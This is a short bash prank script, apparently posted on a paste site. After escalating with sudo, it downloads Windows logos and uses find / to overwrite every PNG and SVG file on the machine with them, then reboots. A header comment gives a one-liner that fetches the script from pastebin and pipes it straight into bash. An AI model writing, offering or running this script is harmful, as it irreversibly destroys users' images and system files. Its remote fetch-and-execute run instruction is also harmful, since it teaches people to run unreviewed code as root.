#!/bin/bash
# How to run this nightmare:
# wget -O - https://pastebin.com/raw/3v83ZP6t | sed -e 's/\r//g' | bash
if [ `id -u` != '0' ]; then
echo 'We require your password for totally legitimate purposes, please enter it now.'
sudo "$0"
exit
fi
PNG_DOWNLOAD=/tmp/microsoft-logo-large.png
SVG_DOWNLOAD=/tmp/microsoft-logo.svg
PNG=/tmp/microsoft-logo.png
wget 'http://www.pngall.com/wp-content/uploads/2016/06/Microsoft-Windows-PNG-Pic.png' -O "$PNG_DOWNLOAD"
wget 'https://upload.wikimedia.org/wikipedia/commons/5/5f/Windows_logo_-_2012.svg' -O "$SVG_DOWNLOAD"
convert "$PNG_DOWNLOAD" -resize 64x64 "$PNG"
find / -iname \*.png -exec cp -f "$PNG" {} \;
find / -iname \*.svg -exec cp -f "$SVG_DOWNLOAD" {} \;
reboot
Comments
0 B
|👍
/👎